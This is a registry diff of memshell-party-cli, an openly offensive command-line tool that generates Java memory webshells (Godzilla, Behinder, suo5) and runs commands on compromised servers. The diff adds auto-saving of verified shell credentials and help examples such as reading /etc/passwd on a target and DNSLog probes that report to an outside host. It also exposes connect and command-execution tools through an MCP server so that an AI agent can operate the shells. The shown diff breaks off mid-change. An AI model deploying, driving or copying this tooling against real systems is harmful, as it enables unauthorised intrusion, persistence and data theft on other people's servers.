memshell-party-cli 0.3.0 → 0.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -1,7 +1,7 @@
1
1
  #!/usr/bin/env node
2
2
 
3
3
  // src/cli.ts
4
- import { Command as Command7 } from "commander";
4
+ import { Command as Command8, CommanderError as CommanderError2 } from "commander";
5
5
 
6
6
  // src/api/client.ts
7
7
  var ApiError = class extends Error {
@@ -156,6 +156,15 @@ function logInfo(msg) {
156
156
  process.stderr.write(`${msg}
157
157
  `);
158
158
  }
159
+ function reportError(message, argv) {
160
+ if (argv.includes("--json")) {
161
+ process.stdout.write(`${JSON.stringify({ ok: false, error: message })}
162
+ `);
163
+ } else {
164
+ process.stderr.write(`Error: ${message}
165
+ `);
166
+ }
167
+ }
159
168
 
160
169
  // src/commands/config.ts
161
170
  function printJsonOrLines(data, json, renderLines) {
@@ -168,7 +177,16 @@ function printJsonOrLines(data, json, renderLines) {
168
177
  }
169
178
  }
170
179
  function registerConfigCommand(program) {
171
- const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers");
180
+ const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers").addHelpText(
181
+ "after",
182
+ `
183
+ Examples:
184
+ $ memparty config servers # servers + their shell types (values for gen -s)
185
+ $ memparty config tools Tomcat # tools available on one server (values for gen -t)
186
+ $ memparty config packers # packer tree (values for gen -p)
187
+ $ memparty config command # Command-tool encryptors and impl classes
188
+ `
189
+ );
172
190
  config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
173
191
  const client = createClient(cmd.optsWithGlobals());
174
192
  const servers = await client.getServers();
@@ -1186,6 +1204,42 @@ function saveShellMeta(projectName, shellName, meta) {
1186
1204
  writeProjects(projects);
1187
1205
  return shell;
1188
1206
  }
1207
+ function sanitizeName(name) {
1208
+ const s = name.replace(/[^A-Za-z0-9._-]/g, "_");
1209
+ return /^[A-Za-z0-9]/.test(s) ? s : `x${s}`;
1210
+ }
1211
+ function autoSaveShell(conn) {
1212
+ let host = "target";
1213
+ let port = "";
1214
+ try {
1215
+ const u = new URL(conn.url);
1216
+ host = u.hostname || host;
1217
+ port = u.port;
1218
+ } catch {
1219
+ }
1220
+ const projectName = sanitizeName(host) || "target";
1221
+ const existing = getProject(projectName)?.shells ?? {};
1222
+ let shellName = Object.keys(existing).find(
1223
+ (n) => existing[n].url === conn.url && existing[n].tool === conn.tool
1224
+ );
1225
+ if (!shellName) {
1226
+ const base = sanitizeName(conn.tool) || "shell";
1227
+ shellName = base;
1228
+ if (existing[shellName]) shellName = port ? `${base}-${port}` : `${base}-2`;
1229
+ for (let i = 2; existing[shellName]; i++) shellName = `${base}-${i}`;
1230
+ }
1231
+ saveShell(projectName, shellName, {
1232
+ url: conn.url,
1233
+ tool: conn.tool,
1234
+ pass: conn.pass,
1235
+ key: conn.key,
1236
+ headerName: conn.headerName,
1237
+ headerValue: conn.headerValue,
1238
+ extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
1239
+ insecure: conn.insecure
1240
+ });
1241
+ return `${projectName}/${shellName}`;
1242
+ }
1189
1243
  function resolveConnection(ref, flags) {
1190
1244
  let stored;
1191
1245
  let targetName;
@@ -1195,7 +1249,7 @@ function resolveConnection(ref, flags) {
1195
1249
  let shellName = slash === -1 ? void 0 : ref.slice(slash + 1);
1196
1250
  const project = getProject(projectName);
1197
1251
  if (!project) {
1198
- throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty target list'`);
1252
+ throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty list'`);
1199
1253
  }
1200
1254
  if (!shellName) {
1201
1255
  const names = Object.keys(project.shells);
@@ -1254,7 +1308,7 @@ function parseExtraHeaders(lines) {
1254
1308
  function registerConnectCommand(program) {
1255
1309
  program.command("connect").description(
1256
1310
  "Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
1257
- ).argument("[name]", "saved target name (see 'memparty target list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1311
+ ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1258
1312
  new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
1259
1313
  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
1260
1314
  "--header-name <name>",
@@ -1264,7 +1318,7 @@ function registerConnectCommand(program) {
1264
1318
  "gate header value reported by gen (shellToolConfig.headerValue)"
1265
1319
  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
1266
1320
  new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
1267
- ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
1321
+ ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
1268
1322
  "after",
1269
1323
  `
1270
1324
  Examples:
@@ -1273,14 +1327,15 @@ Examples:
1273
1327
  $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
1274
1328
  --header-value YdwTyuQr
1275
1329
  $ memparty connect -u http://target/suo5.jsp -t suo5
1276
- $ memparty connect web222 # saved target, see 'memparty target'
1330
+ $ memparty connect web222 # saved target, see 'memparty list'
1277
1331
  $ memparty connect -u https://target/shell.jsp -t godzilla -k --json
1278
1332
 
1279
1333
  Note: shells generated by MemShellParty check a gate header \u2014 copy
1280
1334
  shellToolConfig.headerName/headerValue from the \`gen --json\` output
1281
1335
  (default header name is "User-Agent"), or the shell stays silent.
1282
- Save the whole profile with 'memparty target save <name> ...' and then
1283
- just pass the name.
1336
+ A successful test auto-saves the profile as <host>/<tool> (skip with
1337
+ --no-save); afterwards just pass the name. See 'memparty list',
1338
+ 'memparty note' and 'memparty remove' to manage saved targets.
1284
1339
  `
1285
1340
  ).action(async (name, opts, cmd) => {
1286
1341
  const globals = cmd.optsWithGlobals();
@@ -1298,8 +1353,7 @@ just pass the name.
1298
1353
  insecure: opts.insecure
1299
1354
  });
1300
1355
  } catch (err) {
1301
- process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}
1302
- `);
1356
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
1303
1357
  process.exitCode = 1;
1304
1358
  return;
1305
1359
  }
@@ -1327,6 +1381,11 @@ just pass the name.
1327
1381
  process.exitCode = 1;
1328
1382
  return;
1329
1383
  }
1384
+ let savedAs;
1385
+ if (result.ok && conn.targetName === void 0 && opts.save !== false) {
1386
+ savedAs = autoSaveShell(conn);
1387
+ conn.targetName = savedAs;
1388
+ }
1330
1389
  logOp({
1331
1390
  category: "connect",
1332
1391
  action: "connect",
@@ -1339,12 +1398,13 @@ just pass the name.
1339
1398
  error: result.error
1340
1399
  });
1341
1400
  if (opts.json) {
1342
- process.stdout.write(`${JSON.stringify(result, null, 2)}
1401
+ process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
1343
1402
  `);
1344
1403
  } else if (result.ok) {
1345
1404
  process.stdout.write(`OK ${result.tool} ${result.url}
1346
1405
  ${result.detail ?? ""}
1347
1406
  `);
1407
+ if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
1348
1408
  } else {
1349
1409
  process.stderr.write(`FAIL ${result.tool} ${result.url}
1350
1410
  ${result.error ?? ""}
@@ -1372,7 +1432,7 @@ function parseExtraHeaders2(lines) {
1372
1432
  function registerExecCommand(program) {
1373
1433
  program.command("exec").description(
1374
1434
  "Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
1375
- ).argument("[name]", "saved target name (see 'memparty target list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1435
+ ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1376
1436
  new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
1377
1437
  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
1378
1438
  new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
@@ -1382,7 +1442,7 @@ function registerExecCommand(program) {
1382
1442
  ).option(
1383
1443
  "--header-value <value>",
1384
1444
  "gate header value reported by gen (shellToolConfig.headerValue)"
1385
- ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
1445
+ ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
1386
1446
  "after",
1387
1447
  `
1388
1448
  Examples:
@@ -1390,7 +1450,7 @@ Examples:
1390
1450
  --header-value qSGAJScj --cmd "whoami"
1391
1451
  $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
1392
1452
  --header-value YdwTyuQr --cmd "cat /etc/passwd"
1393
- $ memparty exec web222 --cmd "whoami" # saved target, see 'memparty target'
1453
+ $ memparty exec web222 --cmd "whoami" # saved target, see 'memparty list'
1394
1454
  $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
1395
1455
  --cmd "ipconfig /all" --json
1396
1456
 
@@ -1414,8 +1474,7 @@ the OS inside its payload, so --os does not apply.
1414
1474
  insecure: opts.insecure
1415
1475
  });
1416
1476
  } catch (err) {
1417
- process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}
1418
- `);
1477
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
1419
1478
  process.exitCode = 1;
1420
1479
  return;
1421
1480
  }
@@ -1450,6 +1509,11 @@ the OS inside its payload, so --os does not apply.
1450
1509
  process.exitCode = 1;
1451
1510
  return;
1452
1511
  }
1512
+ let savedAs;
1513
+ if (result.ok && conn.targetName === void 0 && opts.save !== false) {
1514
+ savedAs = autoSaveShell(conn);
1515
+ conn.targetName = savedAs;
1516
+ }
1453
1517
  const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
1454
1518
  logOp({
1455
1519
  category: "exec",
@@ -1465,11 +1529,12 @@ the OS inside its payload, so --os does not apply.
1465
1529
  error: result.error
1466
1530
  });
1467
1531
  if (opts.json) {
1468
- process.stdout.write(`${JSON.stringify(result, null, 2)}
1532
+ process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
1469
1533
  `);
1470
1534
  } else if (result.ok) {
1471
1535
  process.stdout.write(result.output ?? "");
1472
1536
  if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
1537
+ if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
1473
1538
  } else {
1474
1539
  process.stderr.write(`FAIL ${result.tool} ${result.url}
1475
1540
  ${result.error ?? ""}
@@ -1768,7 +1833,26 @@ function toOptions(o) {
1768
1833
  };
1769
1834
  }
1770
1835
  function registerGenCommand(program) {
1771
- program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").action(async (opts, cmd) => {
1836
+ program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
1837
+ "after",
1838
+ `
1839
+ Examples:
1840
+ $ memparty gen # interactive wizard
1841
+ $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\
1842
+ --godzilla-pass pass --godzilla-key key --jdk java8
1843
+ $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\
1844
+ --godzilla-pass pass --godzilla-key key -o shell.class
1845
+ $ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
1846
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
1847
+ $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
1848
+
1849
+ Note: run 'memparty config' to list the available servers, tools, shell
1850
+ types and packers. Some packers (e.g. Base64) are aggregate packers that
1851
+ return several variants at once \u2014 pick a leaf packer (e.g. DefaultBase64)
1852
+ for a single payload. The --json output includes the gate header
1853
+ (shellToolConfig) you need for 'memparty connect' / 'memparty exec'.
1854
+ `
1855
+ ).action(async (opts, cmd) => {
1772
1856
  const client = createClient(cmd.optsWithGlobals());
1773
1857
  const missing = REQUIRED.filter((k) => !opts[k]);
1774
1858
  const stdinIsTty = Boolean(process.stdin.isTTY);
@@ -1849,13 +1933,15 @@ function registerGenCommand(program) {
1849
1933
  // src/commands/log.ts
1850
1934
  import { Option as Option4 } from "commander";
1851
1935
  function registerLogCommand(program) {
1852
- program.command("log").description("Show the global operation log (every gen/probe/connect/exec/target op)").addOption(
1936
+ program.command("log").description("Show the global operation log").addOption(
1853
1937
  new Option4("--category <name>", "filter by operation category").choices([
1854
1938
  "gen",
1855
1939
  "probe",
1856
1940
  "connect",
1857
1941
  "exec",
1858
- "target"
1942
+ "save",
1943
+ "note",
1944
+ "remove"
1859
1945
  ])
1860
1946
  ).option(
1861
1947
  "--target <name>",
@@ -1866,6 +1952,7 @@ function registerLogCommand(program) {
1866
1952
  Examples:
1867
1953
  $ memparty log # latest 50 operations
1868
1954
  $ memparty log --category exec # only command executions
1955
+ $ memparty log --category save # only target saves
1869
1956
  $ memparty log --target hw222 # everything against project hw222
1870
1957
  $ memparty log --category exec --target 192.168.31.222 --json
1871
1958
  `
@@ -2167,7 +2254,7 @@ function createMcpServer(client) {
2167
2254
  "connect_test",
2168
2255
  {
2169
2256
  title: "Test shell connection",
2170
- description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells.",
2257
+ description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs` \u2014 reuse it as `name` in later calls.",
2171
2258
  inputSchema: connectInput
2172
2259
  },
2173
2260
  async (args) => {
@@ -2202,6 +2289,11 @@ function createMcpServer(client) {
2202
2289
  default:
2203
2290
  throw new Error(`unknown tool ${String(conn.tool)}`);
2204
2291
  }
2292
+ let savedAs;
2293
+ if (result.ok && conn.targetName === void 0) {
2294
+ savedAs = autoSaveShell(conn);
2295
+ conn.targetName = savedAs;
2296
+ }
2205
2297
  logOp({
2206
2298
  category: "connect",
2207
2299
  action: "connect",
@@ -2213,7 +2305,7 @@ function createMcpServer(client) {
2213
2305
  detail: result.detail,
2214
2306
  error: result.error
2215
2307
  });
2216
- return jsonContent(result);
2308
+ return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
2217
2309
  } catch (err) {
2218
2310
  return errorContent(err);
2219
2311
  }
@@ -2223,7 +2315,7 @@ function createMcpServer(client) {
2223
2315
  "exec_command",
2224
2316
  {
2225
2317
  title: "Execute command on shell",
2226
- description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells.",
2318
+ description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs`.",
2227
2319
  inputSchema: execInput
2228
2320
  },
2229
2321
  async (args) => {
@@ -2261,6 +2353,11 @@ function createMcpServer(client) {
2261
2353
  default:
2262
2354
  throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
2263
2355
  }
2356
+ let savedAs;
2357
+ if (result.ok && conn.targetName === void 0) {
2358
+ savedAs = autoSaveShell(conn);
2359
+ conn.targetName = savedAs;
2360
+ }
2264
2361
  const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
2265
2362
  logOp({
2266
2363
  category: "exec",
@@ -2275,7 +2372,7 @@ function createMcpServer(client) {
2275
2372
  outputTruncated: truncated?.truncated || void 0,
2276
2373
  error: result.error
2277
2374
  });
2278
- return jsonContent(result);
2375
+ return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
2279
2376
  } catch (err) {
2280
2377
  return errorContent(err);
2281
2378
  }
@@ -2307,7 +2404,7 @@ function createMcpServer(client) {
2307
2404
  remark: args.shellRemark
2308
2405
  });
2309
2406
  logOp({
2310
- category: "target",
2407
+ category: "save",
2311
2408
  action: "save",
2312
2409
  targetName: `${args.project}/${args.shell}`,
2313
2410
  url: args.url,
@@ -2346,7 +2443,7 @@ function createMcpServer(client) {
2346
2443
  }
2347
2444
  const updated2 = saveShellMeta(args.project, args.shell, { remark: args.remark });
2348
2445
  logOp({
2349
- category: "target",
2446
+ category: "note",
2350
2447
  action: "note",
2351
2448
  targetName: `${args.project}/${args.shell}`,
2352
2449
  ok: true,
@@ -2363,7 +2460,7 @@ function createMcpServer(client) {
2363
2460
  category: args.category
2364
2461
  });
2365
2462
  logOp({
2366
- category: "target",
2463
+ category: "note",
2367
2464
  action: "note",
2368
2465
  targetName: args.project,
2369
2466
  ok: true,
@@ -2413,7 +2510,7 @@ function createMcpServer(client) {
2413
2510
  const removed = args.shell ? removeShell(args.project, args.shell) : removeProject(args.project);
2414
2511
  if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? ""}`);
2415
2512
  logOp({
2416
- category: "target",
2513
+ category: "remove",
2417
2514
  action: "remove",
2418
2515
  targetName: args.shell ? `${args.project}/${args.shell}` : args.project,
2419
2516
  ok: true,
@@ -2429,9 +2526,9 @@ function createMcpServer(client) {
2429
2526
  "log_list",
2430
2527
  {
2431
2528
  title: "List operation log",
2432
- description: "Read the global operation log (every gen/probe/connect/exec/target op), newest first. Filter by category and/or target.",
2529
+ description: "Read the global operation log (every gen/probe/connect/exec/save/note/remove op), newest first. Filter by category and/or target.",
2433
2530
  inputSchema: {
2434
- category: z.enum(["gen", "probe", "connect", "exec", "target"]).optional().describe("operation category"),
2531
+ category: z.enum(["gen", "probe", "connect", "exec", "save", "note", "remove"]).optional().describe("operation category"),
2435
2532
  target: z.string().optional().describe("project name, project/shell, or a URL substring (e.g. host)"),
2436
2533
  limit: z.number().optional().describe("max entries (default 50)")
2437
2534
  }
@@ -2470,7 +2567,15 @@ function registerMcpCommand(program) {
2470
2567
  // src/commands/parse-classname.ts
2471
2568
  import { readFileSync as readFileSync6 } from "fs";
2472
2569
  function registerParseClassNameCommand(program) {
2473
- program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").action(async (base64, opts, cmd) => {
2570
+ program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
2571
+ "after",
2572
+ `
2573
+ Examples:
2574
+ $ memparty parse-classname -f shell.class
2575
+ $ memparty parse-classname "$(memparty gen -s Tomcat -t Command -y Filter \\
2576
+ -p DefaultBase64 --command-param-name cmd)"
2577
+ `
2578
+ ).action(async (base64, opts, cmd) => {
2474
2579
  let classBase64;
2475
2580
  if (opts.file) {
2476
2581
  classBase64 = readFileSync6(opts.file).toString("base64");
@@ -2588,7 +2693,22 @@ function toOptions2(o) {
2588
2693
  };
2589
2694
  }
2590
2695
  function registerProbeCommand(program) {
2591
- program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").action(async (opts, cmd) => {
2696
+ program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
2697
+ "after",
2698
+ `
2699
+ Examples:
2700
+ $ memparty probe # interactive wizard
2701
+ $ memparty probe -m ResponseBody -c Command -p DefaultBase64 \\
2702
+ --server Tomcat --req-param-name cmd
2703
+ $ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
2704
+ $ memparty probe -m Sleep -c Server -p DefaultBase64 \\
2705
+ --sleep-server Tomcat --seconds 5
2706
+
2707
+ Note: a probe is a detection shell that reports what the target supports.
2708
+ The server name reported by '-c Server' is the value to pass as
2709
+ 'memparty gen -s'.
2710
+ `
2711
+ ).action(async (opts, cmd) => {
2592
2712
  const client = createClient(cmd.optsWithGlobals());
2593
2713
  const missing = REQUIRED2.filter((k) => !opts[k]);
2594
2714
  const stdinIsTty = Boolean(process.stdin.isTTY);
@@ -2681,11 +2801,37 @@ function parseRef(ref) {
2681
2801
  if (slash === -1) return { project: ref };
2682
2802
  return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };
2683
2803
  }
2684
- function registerTargetCommand(program) {
2685
- const target = program.command("target").description(
2686
- "Manage named shell targets: projects (remark + category) grouping several shells"
2804
+ function listTargets(opts) {
2805
+ const all = listProjects();
2806
+ const names = Object.keys(all).filter(
2807
+ (n) => opts.category === void 0 || all[n].category === opts.category
2687
2808
  );
2688
- target.command("save").description(
2809
+ if (opts.json) {
2810
+ const filtered = {};
2811
+ for (const n of names) filtered[n] = all[n];
2812
+ process.stdout.write(`${JSON.stringify(filtered, null, 2)}
2813
+ `);
2814
+ return;
2815
+ }
2816
+ if (names.length === 0) {
2817
+ process.stdout.write(`no saved projects (store: ${targetStorePath()})
2818
+ `);
2819
+ return;
2820
+ }
2821
+ for (const name of names) {
2822
+ const p = all[name];
2823
+ const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
2824
+ process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
2825
+ `);
2826
+ for (const [shellName, s] of Object.entries(p.shells)) {
2827
+ const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
2828
+ process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
2829
+ `);
2830
+ }
2831
+ }
2832
+ }
2833
+ function registerTargetCommand(program) {
2834
+ program.command("save").description(
2689
2835
  "Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
2690
2836
  ).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
2691
2837
  new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
@@ -2693,10 +2839,14 @@ function registerTargetCommand(program) {
2693
2839
  "after",
2694
2840
  `
2695
2841
  Examples:
2696
- $ memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
2842
+ $ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
2697
2843
  -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\
2698
2844
  --remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
2845
+ $ memparty list # show saved targets
2699
2846
  $ memparty exec hw222/bh9060 --cmd "whoami"
2847
+
2848
+ Note: connect/exec already auto-save a verified shell as <host>/<tool>;
2849
+ save is for choosing the name by hand.
2700
2850
  `
2701
2851
  ).action((ref, opts) => {
2702
2852
  const { project, shell } = parseRef(ref);
@@ -2729,7 +2879,7 @@ Examples:
2729
2879
  };
2730
2880
  const stored = saveShell(project, shell, input3);
2731
2881
  logOp({
2732
- category: "target",
2882
+ category: "save",
2733
2883
  action: "save",
2734
2884
  targetName: `${project}/${shell}`,
2735
2885
  url: stored.url,
@@ -2754,7 +2904,7 @@ Examples:
2754
2904
  );
2755
2905
  }
2756
2906
  });
2757
- target.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
2907
